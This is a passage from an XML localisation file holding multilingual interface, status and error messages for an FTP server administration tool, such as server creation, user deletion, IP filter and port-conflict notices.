<ko>"%PRODUCTNAMETIO.SNAME"에 대한 IP 단위 비율 통계</ko>
<en-gb>Per IP ratio statistics on "%PRODUCTNAMETIO.SNAME"</en-gb>
<hu>IP arány szerinti statisztika itt: "%PRODUCTNAMETIO.SNAME"</hu>
<pt-br>Estatísticas por taxa de IP em "%PRODUCTNAMETIO.SNAME"</pt-br>
<nl>Verhoudingsstatistieken per IP op "%PRODUCTNAMETIO.SNAME"</nl>
</msg>
<msg name="IP">
<en>IP address</en>
<de>IP-Adresse</de>
<es>Dirección IP</es>
<fr>Adresse IP</fr>
<it>Indirizzo IP</it>
<ru>IP-адрес</ru>
<ja>IP アドレス</ja>
<zh>IP 地址</zh>
<ko>IP 주소</ko>
<en-gb>IP address</en-gb>
<hu>IP cím</hu>
<pt-br>Endereço IP</pt-br>
<nl>IP-adres</nl>
</msg>
<msg name="EXPIRE">
<en>Expires in</en>
<de>Läuft ab in</de>
<es>Caduca en</es>
<fr>Expire dans</fr>
<it>Scade tra</it>
<ru>Истекает через</ru>
<ja>有効期限</ja>
<zh>截止时间</zh>
<ko>사용 기간</ko>
<en-gb>Expires in</en-gb>
<hu>Lejárat:</hu>
<pt-br>Vence em</pt-br>
<nl>Zal verstrijken na</nl>
</msg>
</cat>
<!-- messages -->
<cat name="MESSAGE">
<msg name="UPDATED">
<en>Updated.</en>
<de>Aktualisiert.</de>
<es>Actualizado.</es>
<fr>Mise à jour</fr>
<it>Aggiornato.</it>
<ru>Обновлен.</ru>
<ja>更新されました。</ja>
<zh>已更新。</zh>
<ko>업데이트됨.</ko>
<en-gb>Updated.</en-gb>
<hu>Frissítve.</hu>
<pt-br>Atualizado.</pt-br>
<nl>Bijgewerkt.</nl>
</msg>
<msg name="SERVERCREATED">
<en>Server created.</en>
<de>Server wurde erstellt.</de>
<es>Servidor creado.</es>
<fr>Serveur créé</fr>
<it>Server creato.</it>
<ru>Сервер создан.</ru>
<ja>サーバーが作成されました。</ja>
<zh>已创建服务器。</zh>
<ko>서버가 만들어졌습니다.</ko>
<en-gb>Server created.</en-gb>
<hu>Kiszolgáló létrehozva.</hu>
<pt-br>Servidor criado.</pt-br>
<nl>Server is gemaakt.</nl>
</msg>
<msg name="SERVERDELETED">
<en>Server deleted.</en>
<de>Server wurde gelöscht.</de>
<es>Servidor eliminado.</es>
<fr>Serveur supprimé</fr>
<it>Server eliminato.</it>
<ru>Сервер удален.</ru>
<ja>サーバーが削除されました。</ja>
<zh>已删除服务器。</zh>
<ko>서버가 삭제되었습니다.</ko>
<en-gb>Server deleted.</en-gb>
<hu>Kiszolgáló törölve.</hu>
<pt-br>Servidor excluído.</pt-br>
<nl>Server is verwijderd.</nl>
</msg>
<msg name="SERVERSTARTED">
<en>Server started.</en>
<de>Server wurde gestartet.</de>
<es>Servidor iniciado.</es>
<fr>Serveur démarré</fr>
<it>Server avviato.</it>
<ru>Сервер запущен.</ru>
<ja>サーバーが起動しました。</ja>
<zh>已启动服务器。</zh>
<ko>서버가 시작되었습니다.</ko>
<en-gb>Server started.</en-gb>
<hu>Kiszolgáló elindítva.</hu>
<pt-br>Servidor iniciado.</pt-br>
<nl>Server is gestart.</nl>
</msg>
<msg name="SERVERSTOPPED">
<en>Server stopped.</en>
<de>Server wurde gestoppt.</de>
<es>Servidor parado.</es>
<fr>Serveur arrêté</fr>
<it>Server interrotto.</it>
<ru>Сервер остановлен.</ru>
<ja>サーバーが停止しました。</ja>
<zh>已停止服务器。</zh>
<ko>서버가 중지되었습니다.</ko>
<en-gb>Server stopped.</en-gb>
<hu>Kiszolgáló leállítva.</hu>
<pt-br>Servidor interrompido.</pt-br>
<nl>Server is gestopt.</nl>
</msg>
<msg name="USERCREATED">
<en>FTP user created.</en>
<de>FTP Benutzer wurde erstellt.</de>
<es>Usuario FTP creado.</es>
<fr>Uitlisateur FTP créé</fr>
<it>Utente FTP creato.</it>
<ru>Создан FTP-пользователь.</ru>
<ja>FTP ユーザが作成されました。</ja>
<zh>已创建 FTP 用户。</zh>
<ko>FTP 사용자가 만들어졌습니다.</ko>
<en-gb>FTP user created.</en-gb>
<hu>FTP felhasználó létrehozva.</hu>
<pt-br>Usuário do FTP criado.</pt-br>
<nl>FTP-gebruiker is gemaakt.</nl>
</msg>
<msg name="USERDELETED">
<en>FTP user deleted.</en>
<de>FTP Benutzer wurde gelöscht.</de>
<es>Usuario FTP eliminado.</es>
<fr>Utilisateur FTP supprimé</fr>
<it>Utente FTP eliminato.</it>
<ru>FTP-пользователь удален.</ru>
<ja>FTP ユーザが削除されました。</ja>
<zh>已删除 FTP 用户。</zh>
<ko>FTP 사용자가 삭제되었습니다.</ko>
<en-gb>FTP user deleted.</en-gb>
<hu>FTP felhasználó törölve.</hu>
<pt-br>Usuário do FTP excluído.</pt-br>
<nl>FTP-gebruiker is verwijderd.</nl>
</msg>
<msg name="GROUPCREATED">
<en>FTP group created.</en>
<de>FTP Gruppe wurde erstellt.</de>
<es>Grupo FTP creado.</es>
<fr>Groupe FTP créé</fr>
<it>Gruppo FTP creato.</it>
<ru>FTP-группа создана.</ru>
<ja>FTP グループが作成されました。</ja>
<zh>已创建 FTP 组。</zh>
<ko>FTP 그룹이 만들어졌습니다.</ko>
<en-gb>FTP group created.</en-gb>
<hu>FTP csoport létrehozva.</hu>
<pt-br>Grupo de FTP criado.</pt-br>
<nl>FTP-groep is gemaakt.</nl>
</msg>
<msg name="GROUPDELETED">
<en>FTP group deleted.</en>
<de>FTP Gruppe wurde gelöscht.</de>
<es>Grupo FTP eliminado.</es>
<fr>Groupe FTP supprimé</fr>
<it>Gruppo FTP eliminato.</it>
<ru>FTP-группа удалена.</ru>
<ja>FTP グループが削除されました。</ja>
<zh>已删除 FTP 组。</zh>
<ko>FTP 그룹이 삭제되었습니다.</ko>
<en-gb>FTP group deleted.</en-gb>
<hu>FTP csoport törölve.</hu>
<pt-br>Grupo de FTP excluído.</pt-br>
<nl>FTP-groep is verwijderd.</nl>
</msg>
<msg name="KICKED">
<en>Session disconnected.</en>
<de>Sitzung wurde unterbrochen.</de>
<es>Sesión finalizada.</es>
<fr>Session déconnectée</fr>
<it>Sessione terminata.</it>
<ru>Сеанс отключен.</ru>
<ja>セッションが切断されました。</ja>
<zh>已断开会话连接。</zh>
<ko>세션 연결이 끊어졌습니다.</ko>
<en-gb>Session disconnected.</en-gb>
<hu>Munkamenet szétcsatlakoztatva.</hu>
<pt-br>Sessão desconectada.</pt-br>
<nl>Verbinding is verbroken voor sessie.</nl>
</msg>
<msg name="BANNED">
<en>Disabled user on server, session(s) disconnected.</en>
<de>Der Benutzer ist auf dem Server nicht mehr zugelassen, Sitzung(en) geschlossen.</de>
<es>Usuario deshabilitado en servidor, sesión(es) finalizada(s).</es>
<fr>Utilisateur désactivé sur le serveur, session(s) déconnectée(s)</fr>
<it>Utente disattivato sul server, sessione/i terminata/e.</it>
<ru>Пользователь на сервере отключен, сеансы отключены.</ru>
<ja>サーバーに無効なユーザが存在したため、セッションは切断されました。</ja>
<zh>已在服务器上禁用用户,已断开会话连接。</zh>
<ko>서버의 사용자를 비활성화함, 세션 연결이 끊어졌습니다.</ko>
<en-gb>Disabled user on server, session(s) disconnected.</en-gb>
<hu>Letiltott felhasználó a kiszolgálón, munkamenet(ek) szétcsatlakoztatva.</hu>
<pt-br>Usuário desabilitado no servidor, sessão (ões) desconectada(s).</pt-br>
<nl>Gebruiker is uitgeschakeld op de server, de verbinding is verbroken voor de sessie(s).</nl>
</msg>
<msg name="BANNEDUIP">
<en>User IP Filter profile modified, session(s) disconnected.</en>
<de>Der IP Profil des Benutzers wurde geändert, Sitzung(en) geschlossen.</de>
<es>Perfil de filtro de IP del usuario modificado, sesión(es) finalizada(s).</es>
<fr>Profil de filtre d'utilisateur IP modifié, session(s) déconnectée(s)</fr>
<it>Profilo di filtro IP dell'utente modificato, sessione/i terminata/e.</it>
<ru>Профиль IP-фильтров пользователя изменен, сеансы отключены.</ru>
<ja>ユーザ IP フィルタ プロファイルが変更されたため、セッションは切断されました。</ja>
<zh>已修改用户 IP 过滤器配置文件,已断开会话连接。</zh>
<ko>사용자 IP 필터 프로필이 수정됨, 세션 연결이 끊어졌습니다.</ko>
<en-gb>User IP Filter profile modified, session(s) disconnected.</en-gb>
<hu>Felhasználó IP szűrő profilja módosítva, a munkamenet(ek) szétcsatlakoztatva.</hu>
<pt-br>Perfil do filtro IP do usuário modificado, sessão(ões) desconectada(s).</pt-br>
<nl>IP-filterprofiel voor gebruiker is gewijzigd, de verbinding is verbroken voor de sessie(s).</nl>
</msg>
<msg name="BANNEDUIPNEW">
<en>New user IP Filter profile created, session(s) disconnected.</en>
<de>Neues IP Profil für den Benutzer wurde angelegt, Sitzung(en) geschlossen.</de>
<es>Nuevo perfil de filtro de IP del usuario, sesión(es) finalizada(s).</es>
<fr>Nouveau profil du filtre utilisateur IP créé, session(s) déconnectée(s)</fr>
<it>Nuovo profilo di filtro IP dell'utente creato, sessione/i terminata/e.</it>
<ru>Создан новый профиль IP-фильтров пользователя, сеансы отключены.</ru>
<ja>新しいユーザ IP フィルタ プロファイルが作成されたため、セッションは切断されました。</ja>
<zh>已创建新用户 IP 过滤器配置文件,已断开会话连接。</zh>
<ko>새 사용자 IP 필터 프로필이 만들어짐, 세션 연결이 끊어졌습니다.</ko>
<en-gb>New user IP Filter profile created, session(s) disconnected.</en-gb>
<hu>Új felhasználó IP szűrő profilja létrehozva, a munkamenet(ek) szétcsatlakoztatva.</hu>
<pt-br>Perfil do filtro IP do novo usuário criado, sessão(ões) desconectada(s).</pt-br>
<nl>IP-filterprofiel voor nieuwe gebruiker is gemaakt, de verbinding is verbroken voor de sessie(s).</nl>
</msg>
<msg name="BANNEDSIP">
<en>Server IP Filter profile modified, session(s) disconnected.</en>
<de>IP Filterprofil für den Server wurde geändert, Sitzung(en) unterbrochen.</de>
<es>Perfil de filtro de IP del servidor modificado, sesión(es) finalizada(s).</es>
<fr>Profil de filtre IP de serveur modifié, session(s) déconnectée(s)</fr>
<it>Profilo di filtro IP del server modificato, sessione/i terminata/e.</it>
<ru>Профиль IP-фильтров сервера изменен, сеансы отключены.</ru>
<ja>サーバー IP フィルタ プロファイルが変更されたため、セッションは切断されました。</ja>
<zh>已修改服务器 IP 过滤器配置文件,已断开会话连接。</zh>
<ko>서버 IP 필터 프로필이 수정됨, 세션 연결이 끊어졌습니다.</ko>
<en-gb>Server IP Filter profile modified, session(s) disconnected.</en-gb>
<hu>Kiszolgáló IP szűrő profilja módosítva, a munkamenet(ek) szétcsatlakoztatva.</hu>
<pt-br>Perfil do filtro IP do servidor modificado, sessão(ões) desconectada(s).</pt-br>
<nl>IP-filterprofiel voor server is gewijzigd, de verbinding is verbroken voor de sessie(s).</nl>
</msg>
<msg name="BANNEDSIPNEW">
<en>New server IP Filter profile created, session(s) disconnected.</en>
<de>Neues IP Filterprofil für den Benutzer wurde angelegt, Sitzung(en) geschlossen.</de>
<es>Nuevo perfil de filtro de IP del servidor, sesión(es) finalizada(s).</es>
<fr>Nouveau profil de filtre IP de serveur créé, session(s) déconnectée(s)</fr>
<it>Nuovo profilo di filtro IP del server creato, sessione/i terminata/e.</it>
<ru>Создан новый профиль IP-фильтров сервера, сеансы отключены.</ru>
<ja>新しいサーバー IP フィルタ プロファイルが作成されたため、セッションは切断されました。</ja>
<zh>已创建新服务器 IP 过滤器配置文件,已断开会话连接。</zh>
<ko>새 서버 IP 필터 프로필이 만들어짐, 세션 연결이 끊어졌습니다.</ko>
<en-gb>New server IP Filter profile created, session(s) disconnected.</en-gb>
<hu>Új kiszolgáló IP szűrő profilja létrehozva, a munkamenet(ek) szétcsatlakoztatva.</hu>
<pt-br>Perfil do filtro IP do novo servidor criado, sessão(ões) desconectada(s).</pt-br>
<nl>IP-filterprofiel voor nieuwe server is gemaakt, de verbinding is verbroken voor de sessie(s).</nl>
</msg>
<msg name="USERSTATSRESET">
<en>FTP user statistics reset.</en>
<de>FTP Benutzerstatistiken wurden zurückgesetzt.</de>
<es>Estadísticas del usuario FTP reiniciadas.</es>
<fr>Réinitialisation des statistiques des utilisateurs FTP</fr>
<it>Statistiche utente FTP reimpostate.</it>
<ru>Сброс статистики FTP-пользователя.</ru>
<ja>FTP ユーザ統計がリセットされました。</ja>
<zh>已重设 FTP 用户统计信息。</zh>
<ko>FTP 사용자 통계가 재설정되었습니다.</ko>
<en-gb>FTP user statistics reset.</en-gb>
<hu>FTP felhasználói statisztika nullázása.</hu>
<pt-br>Redefinição das estatísticas do usuário de FTP.</pt-br>
<nl>Opnieuw instellen van de statistieken van de FTP-gebruiker.</nl>
</msg>
<msg name="SERVSTATSRESET">
<en>Server statistics reset.</en>
<de>Server Statistiken wurden zurückgesetzt.</de>
<es>Estadísticas del servidor FTP reiniciadas.</es>
<fr>Réinitialisation des statistiques du serveur</fr>
<it>Statistiche server reimpostate.</it>
<ru>Сброс статистики сервера.</ru>
<ja>サーバー統計がリセットされました。</ja>
<zh>已重设服务器统计信息。</zh>
<ko>서버 통계가 재설정되었습니다.</ko>
<en-gb>Server statistics reset.</en-gb>
<hu>Kiszolgálóstatisztika nullázása.</hu>
<pt-br>Redefinição das estatísticas do servidor.</pt-br>
<nl>Opnieuw instellen van de statistieken van de server.</nl>
</msg>
<msg name="NTSTATSRESET">
<en>NT user statistics deleted or reset.</en>
<de>NT Benutzer Statistiken wurden gelöscht oder zurückgesetzt.</de>
<es>Estadísticas del usuario NT eliminadas o reiniciadas.</es>
<fr>Statistiques des utilisateurs NT effacée ou réinitialisée</fr>
<it>Statistiche utente NT eliminate o reimpostate.</it>
<ru>Статистика пользователя NT удалена или сброшена.</ru>
<ja>NT ユーザ統計が削除またはリセットされました。</ja>
<zh>已删除或重设 NT 用户统计信息。</zh>
<ko>NT 사용자 통계가 삭제되거나 재설정되었습니다.</ko>
<en-gb>NT user statistics deleted or reset.</en-gb>
<hu>FTP felhasználói statisztika törlése vagy nullázása.</hu>
<pt-br>Estatísticas do usuário do NT excluídas ou redefinidas.</pt-br>
<nl>De statistieken van de NT-gebruiker zijn verwijderd of opnieuw ingesteld.</nl>
</msg>
<msg name="IPSTATSRESET">
<en>Per IP ratio statistics deleted or reset.</en>
<de>Pro IP Ratio Statistiken wurden gelöscht oder zurückgesetzt.</de>
<es>Estadísticas del ratio por IP eliminadas o reiniciadas.</es>
<fr>Statistiques des ratio par IP effacées ou réinitialisées</fr>
<it>Statistiche per rapporto IP eliminate o reimpostate.</it>
<ru>Статистика отношений для каждого IP-адреса удалена или сброшена.</ru>
<ja>IP 比率あたりの統計が削除またはリセットされました。</ja>
<zh>已删除或重设每个 IP 比例的统计信息。</zh>
<ko>IP 단위 비율 통계가 삭제되거나 재설정되었습니다.</ko>
<en-gb>Per IP ratio statistics deleted or reset.</en-gb>
<hu>IP arány szerinti statisztika törlése vagy nullázása.</hu>
<pt-br>Estatísticas por taxa de IP excluída ou redefinida.</pt-br>
<nl>De verhoudingsstatistieken per IP zijn verwijderd of opnieuw ingesteld.</nl>
</msg>
<msg name="AHCLEARED">
<en>Anti-hammer lockout cleared.</en>
<de>"Anti-Hammer"-Aussperrung wurde aufgehoben.</de>
<es>Bloqueo anti-hammer limpiado.</es>
<fr>Blocage anti-hammer nettoyé</fr>
<it>Blocco anti-hammer rimosso.</it>
<ru>Снята блокировка Anti-hammer</ru>
<ja>Anti-hammer ロックアウトが消去されました。</ja>
<zh>已清除反锤式锁定。</zh>
<ko>안티해머 잠금이 지워졌습니다.</ko>
<en-gb>Anti-hammer lockout cleared.</en-gb>
<hu>"Anti-hammer" zárolás törölve.</hu>
<pt-br>Bloqueio anti-hammer limpo.</pt-br>
<nl>Anti-hammerblokkering is uitgeschakeld.</nl>
</msg>
<msg name="HOMENOTACCESSIBLE">
<en>WARNING! User cannot log in. (No permission to home directory.)</en>
<de>WARNUNG! Benutzer kann sich nicht anmelden. (Er hat keine Rechte auf sein Home-Verzeichnis.)</de>
<es>¡AVISO! El usuario no puede iniciar sesión. (No tiene permiso para el directorio principal.)</es>
<fr>AVERTISSEMENT ! L'utilisateur ne peut pas ouvrir une session. (aucune permission dans le répertoire local.)</fr>
<it>AVVISO! L'utente non può accedere. Nessuna autorizzazione per la home directory.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Пользователь не может войти в систему. (Нет разрешений для домашнего каталога.)</ru>
<ja>警告!ユーザはログインできません。(ホーム ディレクトリへの権限がありません。)</ja>
<zh>警告!用户无法登录。(没有访问主目录的权限。)</zh>
<ko>경고! 사용자가 로그인할 수 없습니다.(홈 디렉터리에 대한 권한이 없습니다.)</ko>
<en-gb>WARNING! User cannot log in. (No permission to home directory.)</en-gb>
<hu>FIGYELEM! A felhasználó nem tud bejelentkezni (Nincs engedély a kezdőkönyvtárhoz.)</hu>
<pt-br>AVISO! O usuário não pode fazer login. (Não há permissões para o diretório inicial.)</pt-br>
<nl>WAARSCHUWING! De gebruiker kan zich niet aanmelden. (Geen machtiging voor basismap.)</nl>
</msg>
<msg name="HOMEINVALID">
<en>WARNING! User cannot log in. (Home directory does not exist.)</en>
<de>WARNUNG! Benutzer kann sich nicht anmelden. (sein Home-Verzeichnis existiert nicht.)</de>
<es>¡AVISO! El usuario no puede iniciar sesión. (El directorio principal no existe.)</es>
<fr>AVERTISSEMENT ! L'utilisateur ne peut pas ouvrir une session. (le répertoire local n'existe pas.)</fr>
<it>AVVISO! L'utente non può accedere. La home directory non è esistente.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Пользователь не может войти в систему. (Домашний каталог не существует.)</ru>
<ja>警告!ユーザはログインできません。(ホーム ディレクトリが存在しません。)</ja>
<zh>警告!用户无法登录。(主目录不存在。)</zh>
<ko>경고! 사용자가 로그인할 수 없습니다.(홈 디렉터리가 없습니다.)</ko>
<en-gb>WARNING! User cannot log in. (Home directory does not exist.)</en-gb>
<hu>FIGYELEM! A felhasználó nem tud bejelentkezni (A kezdőkönyvtár nem létezik.)</hu>
<pt-br>AVISO! O usuário não pode fazer login. (O diretório inicial não existe.)</pt-br>
<nl>WAARSCHUWING! De gebruiker kan zich niet aanmelden. (De basismap bestaat niet.)</nl>
</msg>
<msg name="USERNOPERMISSIONS">
<en>WARNING! User [%FTPUNAME] has no permissions at all.</en>
<de>WARNUNG! Der Benutzer [%FTPUNAME] hat keinerlei Berechtigungen zugewiesen bekommen.</de>
<es>¡AVISO! El usuario [%FTPUNAME] no tiene ningún permiso.</es>
<fr>AVERTISSEMENT ! L'utilisateur [ %FTPUNAME ] n'a aucune permission.</fr>
<it>AVVISO! L'utente [%FTPUNAME] non dispone delle autorizzazioni.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Пользователь [%FTPUNAME] вообще не имеет разрешений.</ru>
<ja>警告!ユーザ [%FTPUNAME] にはいずれの権限もありません。</ja>
<zh>警告!用户 [%FTPUNAME] 根本没有权限。</zh>
<ko>경고! [%FTPUNAME] 사용자는 권한을 가지고 있지 않습니다.</ko>
<en-gb>WARNING! User [%FTPUNAME] has no permissions at all.</en-gb>
<hu>FIGYELEM! A(z) [%FTPUNAME] felhasználó semmilyen engedéllyel nem rendelkezik.</hu>
<pt-br>AVISO! O usuário do [%FTPUNAME] não tem permissões.</pt-br>
<nl>WAARSCHUWING! De gebruiker [%FTPUNAME] heeft helemaal geen machtigingen.</nl>
</msg>
</cat>
<!-- errors -->
<cat name="ERROR">
<msg name="UNKNOWN">
<en>An error has occurred.</en>
<de>Ein Fehler ist aufgetreten</de>
<es>Ha ocurrido un error.</es>
<fr>Une erreur s'est produite</fr>
<it>Si è verificato un errore.</it>
<ru>Возникла ошибка.</ru>
<ja>エラーが発生しました。</ja>
<zh>出现错误。</zh>
<ko>오류가 발생했습니다.</ko>
<en-gb>An error has occurred.</en-gb>
<hu>Hiba történt.</hu>
<pt-br>Ocorreu um erro.</pt-br>
<nl>Er is een fout opgetreden.</nl>
</msg>
<msg name="INVALID.NAME">
<en>Invalid FTP object name.</en>
<de>Ungültiger FTP Objektname</de>
<es>Nombre de objeto FTP no válido.</es>
<fr>Nom d'objet FTP incorrect</fr>
<it>Nome oggetto FTP non valido.</it>
<ru>Недопустимое имя FTP-объекта.</ru>
<ja>無効な FTP オブジェクト名です。</ja>
<zh>FTP 对象名称无效。</zh>
<ko>FTP 개체 이름이 올바르지 않습니다.</ko>
<en-gb>Invalid FTP object name.</en-gb>
<hu>Érvénytelen FTP objektumnév.</hu>
<pt-br>Nome de objeto FTP inválido.</pt-br>
<nl>Ongeldige FTP-objectnaam.</nl>
</msg>
<msg name="ADDRESS.USED">
<en>The specified address and port combination is already in use. Please make sure that no other services (such as other FTP server software, or another virtual FTP server) are using the specified combination and try again.</en>
<de>Die angegebene IP-Adresse und Port Kombination wird bereits verwendet. Bitte wählen Sie eine Adresskombination die noch von keinem aktiven Dienst eingesetzt wird und versuchen Sie es erneut.</de>
<es>La combinación de dirección y puerto especificada ya está siendo utilizada. Asegúrese de que ningún otro servicio (otro programa de servidor FTP u otro servidor virtual FTP) esté utilizado la combinación especificada e inténtelo otra vez.</es>
<fr>La combinaison adresse et port spécifiée est déjà utilisée. Veuillez svp vous assurer qu'aucun autre service (tel qu'un autre logiciel de serveur FTP ou qu'un autre serveur virtuel FTP) n'utilise pas déjà la combinaison spéifiée, puis essayez à nouveau.</fr>
<it>La combinazione di indirizzo e porta specificata è già in uso. Assicurarsi che nessun altro servizio, ad esempio altri software per server FTP o un altro server FTP virtuale, stia utilizzando la combinazione specificata e riprovare.</it>
<ru>Указанная комбинация адреса и порта уже используется. Убедитесь, что другие службы (например, другое программное обеспечение FTP-сервера) не используют указанную комбинацию и повторите попытку.</ru>
<ja>指定したアドレスとポートの組み合わせは既に使用されています。指定した組み合わせを使用する他のサービス (他の FTP サーバー ソフトウェアや、他の仮想 FTP サーバーなど) がないかどうかを確認し、再試行してください。</ja>
<zh>指定的地址和端口组合已被使用。请确保没有任何其他服务(如其他 FTP 服务器软件或其他虚拟 FTP 服务器)在使用指定的组合,并再试一次。</zh>
<ko>지정된 주소 및 포트 조합이 이미 사용 중입니다. 지정된 조합을 사용하는 다른 서비스(예: 기타 FTP 서버 소프트웨어 또는 다른 가상 FTP 서버)가 없음을 확인하고 다시 시도하십시오.</ko>
<en-gb>The specified address and port combination is already in use. Please make sure that no other services (such as other FTP server software or another virtual FTP server) are using the specified combination and try again.</en-gb>
<hu>A megadott cím és port kombináció már használatban van. Kérem, ellenőrizze, hogy más szolgáltatások (például más FTP kiszolgáló szoftver, vagy más virtuális FTP kiszolgáló) nem használja a megadott kombinációt, majd próbálkozzék újból.</hu>
<pt-br>A combinação de portas e endereços especificada já está em uso. Assegure-se de que nenhum outro serviço (como outro software de servidor de FTP ou outro servidor de FTP virtual) esteja usando a combinação especificada e tente novamente.</pt-br>
<nl>De opgegeven combinatie van het adres en de poort is reeds in gebruik. Controleer of andere services (zoals andere FTP-servertoepassingen of een andere virtuele FTP-server) de opgegeven combinatie niet gebruiken en probeer het opnieuw.</nl>
</msg>
<msg name="INVALID.PORT.RANGE">
<en>Invalid port range.</en>
<de>Ungültiger Port-Bereich</de>
<es>Régimen de puerto no válido.</es>
<fr>zone de port invalide</fr>
<it>Intervallo porte non valido.</it>
<ru>Недопустимый диапазон портов.</ru>
<ja>無効なポート範囲です。</ja>
<zh>端口范围无效。</zh>
<ko>포트 범위가 올바르지 않습니다.</ko>
<en-gb>Invalid port range.</en-gb>
<hu>Érvénytelen port-tartomány.</hu>
<pt-br>Intervalo de portas inválido.</pt-br>
<nl>Ongeldig poortbereik.</nl>
</msg>
<msg name="SERVER.EXISTS">
<en>An FTP server with the same name already exists.</en>
<de>Es existiert bereits ein FTP Server mit diesem Namen.</de>
<es>Ya existe un servidor FTP con el mismo nombre.</es>
<fr>Un serveur FTP avec le même nom existe déjà.</fr>
<it>Esiste già un server FTP con lo stesso nome.</it>
<ru>FTP-сервер с таким именем уже существует.</ru>
<ja>同じ名前の FTP サーバーが既に存在します。</ja>
<zh>已存在具有相同名称的 FTP 服务器。</zh>
<ko>같은 이름을 가진 FTP 서버가 있습니다.</ko>
<en-gb>An FTP server with the same name already exists.</en-gb>
<hu>Ugyanilyen névvel már létezik egy FTP kiszolgáló.</hu>
<pt-br>Já existe um servidor de FTP com o mesmo nome.</pt-br>
<nl>Er bestaat reeds een FTP-server met deze naam.</nl>
</msg>
<msg name="SERVER.NOT.EXISTS">
<en>FTP server does not exist (might have been deleted?)</en>
<de>Der FTP Server existiert nicht (mehr), er wurde möglicherweise gelöscht.</de>
<es>El servidor FTP no existe (podría haber sido eliminado)</es>
<fr>Serveur FTP inexistant (peut-être a t'il été supprimé?)</fr>
<it>Server FTP non esistente. Potrebbe essere stato eliminato?</it>
<ru>FTP-сервер не существует (удален?)</ru>
<ja>FTP サーバーが存在しないか、または削除されています。</ja>
<zh>FTP 服务器不存在(可能已删除?)</zh>
<ko>FTP 서버가 없습니다(삭제되었을 수 있습니까?).</ko>
<en-gb>FTP server does not exist (might have been deleted?)</en-gb>
<hu>Az FTP kiszolgáló nem létezik (esetleg törölték?)</hu>
<pt-br>O servidor de FTP não existe (talvez tenha sido excluído?)</pt-br>
<nl>De FTP-server bestaat niet (mogelijk is deze verwijderd)</nl>
</msg>
<msg name="USER.EXISTS">
<en>A user with the same name already exists.</en>
<de>Ein Benutzer mit diesem Namen existiert bereits.</de>
<es>Ya existe un usuario con el mismo nombre.</es>
<fr>Un utilisateur avec le même nom existe déjà.</fr>
<it>Esiste già un utente con lo stesso nome.</it>
<ru>Пользователь с таким именем уже существует.</ru>
<ja>同じ名前のユーザが既に存在します。</ja>
<zh>已存在具有相同名称的用户。</zh>
<ko>같은 이름을 가진 사용자가 있습니다.</ko>
<en-gb>A user with the same name already exists.</en-gb>
<hu>Ugyanilyen névvel már létezik egy felhasználó.</hu>
<pt-br>Já existe um usuário com o mesmo nome.</pt-br>
<nl>Er bestaat reeds een gebruiker met deze naam.</nl>
</msg>
<msg name="USER.NOT.EXISTS">
<en>FTP user does not exist (might have been deleted?)</en>
<de>Der FTP Benutzer existiert nicht (mehr), er wurde möglicherweise gelöscht.</de>
<es>El usuario FTP no existe (podría haber sido eliminado)</es>
<fr>Utilisateur FTP inexistant (peut-être a t'il été supprimé?)</fr>
<it>Utente FTP non esistente. Potrebbe essere stato eliminato?</it>
<ru>FTP-пользователь не существует (удален?)</ru>
<ja>FTP ユーザが存在しないか、または削除されています。</ja>
<zh>FTP 用户不存在(可能已删除?)</zh>
<ko>FTP 사용자가 없습니다(삭제되었을 수 있습니까?)</ko>
<en-gb>FTP user does not exist (might have been deleted?)</en-gb>
<hu>Az FTP felhasználó nem létezik (esetleg törölték?)</hu>
<pt-br>O usuário de FTP não existe (talvez tenha sido excluído?)</pt-br>
<nl>De FTP-gebruiker bestaat niet (mogelijk is deze verwijderd)</nl>
</msg>
<msg name="GROUP.EXISTS">
<en>A group with the same name already exists.</en>
<de>Eine Gruppe mit diesem Namen existiert bereits.</de>
<es>Ya existe un grupo con el mismo nombre.</es>
<fr>Un groupe avec le mêm nom existe déjà.</fr>
<it>Esiste già un gruppo con lo stesso nome.</it>
<ru>Группа с таким именем уже существует.</ru>
<ja>同じ名前のグループが既に存在します。</ja>
<zh>已存在具有相同名称的组。</zh>
<ko>같은 이름을 가진 그룹이 있습니다.</ko>
<en-gb>A group with the same name already exists.</en-gb>
<hu>Ugyanilyen névvel már létezik egy csoport.</hu>
<pt-br>Já existe um grupo com o mesmo nome.</pt-br>
<nl>Er bestaat reeds een groep met deze naam.</nl>
</msg>
<msg name="GROUP.NOT.EXISTS">
<en>FTP group does not exist (might have been deleted?)</en>
<de>Die FTP Gruppe existiert nicht (mehr), sie wurde möglicherweise gelöscht.</de>
<es>El grupo FTP no existe (podría haber sido eliminado)</es>
<fr>Groupe FTP inexistant (peut-être a t'il été supprimé?)</fr>
<it>Gruppo FTP non esistente. Potrebbe essere stato eliminato?</it>
<ru>FTP-группа не существует (удалена?)</ru>
<ja>FTP グループが存在しないか、または削除されています。</ja>
<zh>FTP 组不存在(可能已删除?)</zh>
<ko>FTP 그룹이 없습니다(삭제되었을 수 있습니까?)</ko>
<en-gb>FTP group does not exist (might have been deleted?)</en-gb>
<hu>Az FTP csoport nem létezik (esetleg törölték?)</hu>
<pt-br>O grupo de FTP não existe (talvez tenha sido excluído?)</pt-br>
<nl>De FTP-groep bestaat niet (mogelijk is deze verwijderd)</nl>
</msg>
<msg name="INVALID.EXTADDR">
<en>You supplied a DNS host name as the external address of your NAT router, which could not be resolved. If you have a static external IP address, please specify that one instead of the DNS host name to avoid unnecessary DNS queries.</en>
<de>Sie haben eine DNS Hostnamen als externe Adresse ihres NAT Routers angegeben, der nicht aufgelöst werden kann. Wenn sie eine statische externe IP-Adresse haben, dann geben sie diese anstelle des DNS Hostnamens an, um unnötige DNS Abfragen zu vermeiden.</de>
<es>Ha introducido un nombre de host DNS como dirección externa de su router NAT, que no ha podido ser resuelto. Si posee una dirección IP externa estática, especifíquelo en lugar del nombre del host DNS para evitar peticioines DNS innecesarias.</es>
<fr>Vous avez défini un nom d'hôte DNS comme adresse externe dans la NAT de votre routeur, qui ne peut pas être résolu. Si vous avez une adresse IP externe fixe, veuillez svp définir celle-ci à la place du nom d'hôte DNS afin d'éviter des requêtes DNS inutiles.</fr>
<it>È stato fornito come indirizzo esterno del router NAT un nome host DNS che non è stato possibile risolvere. Se si dispone di un indirizzo IP esterno statico, specificarlo invece del nome host DNS per evitare query DNS non necessarie.</it>
<ru>В качестве внешнего адреса NAT-маршрутизатора предоставлено DNS-имя хост-компьютера, которое не удалось разрешить. Если имеется статический внешний IP-адрес, укажите его вместо DNS-имени хост-компьютера во избежание ненужных DNS-запросов.</ru>
